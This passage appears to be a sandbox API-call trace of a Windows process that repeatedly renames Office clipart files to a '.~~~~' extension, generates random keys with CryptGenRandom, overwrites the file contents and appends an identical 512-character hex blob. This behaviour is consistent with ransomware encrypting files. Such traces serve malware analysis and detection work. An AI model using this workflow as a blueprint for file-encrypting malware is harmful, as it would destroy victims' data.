	[0099.549] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.~~~~")) returned 1
	[0099.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.555] GetLastError () returned 0x0
	[0099.555] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.557] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.557] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.557] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21954716456) returned 1
	[0099.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa5092cd0, dwHighDateTime=0x1d60e1e)) 
	[0099.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862410
	[0099.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862410 | out: hHeap=0x300000) returned 1
	[0099.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861350
	[0099.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.558] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.558] GetLastError () returned 0x0
	[0099.558] GetLastError () returned 0x0
	[0099.558] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.558] GetLastError () returned 0x0
	[0099.559] GetLastError () returned 0x0
	[0099.591] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffb0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.591] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4f4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x4f4, lpOverlapped=0x0) returned 1
	[0099.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.592] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.592] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.592] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.592] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.592] CloseHandle (hObject=0x144) returned 1
	[0099.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.593] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.~~~~")) returned 1
	[0099.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.593] GetLastError () returned 0x0
	[0099.594] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.595] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.595] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.596] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21958568878) returned 1
	[0099.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa50def90, dwHighDateTime=0x1d60e1e)) 
	[0099.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862480
	[0099.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862480 | out: hHeap=0x300000) returned 1
	[0099.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861480
	[0099.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.596] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.597] GetLastError () returned 0x0
	[0099.597] GetLastError () returned 0x0
	[0099.597] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.597] GetLastError () returned 0x0
	[0099.597] GetLastError () returned 0x0
	[0099.882] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe368, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.882] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1c98, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1c98, lpOverlapped=0x0) returned 1
	[0099.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.883] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.883] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.883] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.884] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.884] CloseHandle (hObject=0x144) returned 1
	[0099.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.884] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.~~~~")) returned 1
	[0099.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.911] GetLastError () returned 0x0
	[0099.911] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.912] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.912] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.913] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21990281815) returned 1
	[0099.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa53fec70, dwHighDateTime=0x1d60e1e)) 
	[0099.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862560
	[0099.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862560 | out: hHeap=0x300000) returned 1
	[0099.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28615b0
	[0099.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.913] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.914] GetLastError () returned 0x0
	[0099.914] GetLastError () returned 0x0
	[0099.914] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.914] GetLastError () returned 0x0
	[0099.914] GetLastError () returned 0x0
	[0099.927] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffecd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.928] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x132c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x132c, lpOverlapped=0x0) returned 1
	[0099.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.929] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.929] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.929] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.929] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.929] CloseHandle (hObject=0x144) returned 1
	[0099.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.~~~~")) returned 1
	[0099.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.930] GetLastError () returned 0x0
	[0099.930] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.932] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.932] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.932] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21992197578) returned 1
	[0099.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa5424dd0, dwHighDateTime=0x1d60e1e)) 
	[0099.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39c9a8
	[0099.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c9a8 | out: hHeap=0x300000) returned 1
	[0099.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861810
	[0099.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.935] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.935] GetLastError () returned 0x0
	[0099.935] GetLastError () returned 0x0
	[0099.935] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.935] GetLastError () returned 0x0
	[0099.935] GetLastError () returned 0x0
	[0100.029] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe494, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.029] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1b6c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1b6c, lpOverlapped=0x0) returned 1
	[0100.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0100.031] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.031] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.031] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.031] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.031] CloseHandle (hObject=0x144) returned 1
	[0100.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.032] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.~~~~")) returned 1
	[0100.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0100.033] GetLastError () returned 0x0
	[0100.033] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0100.034] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.034] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0100.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0100.034] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22002464134) returned 1
	[0100.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa5509610, dwHighDateTime=0x1d60e1e)) 
	[0100.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0100.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0100.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0100.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28626e8
	[0100.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28626e8 | out: hHeap=0x300000) returned 1
	[0100.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861940
	[0100.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.035] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0100.038] GetLastError () returned 0x0
	[0100.045] GetLastError () returned 0x0
	[0100.045] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0100.045] GetLastError () returned 0x0
	[0100.045] GetLastError () returned 0x0
	[0100.141] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd3ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.141] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2c54, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x2c54, lpOverlapped=0x0) returned 1
	[0100.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0100.142] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.142] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.142] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
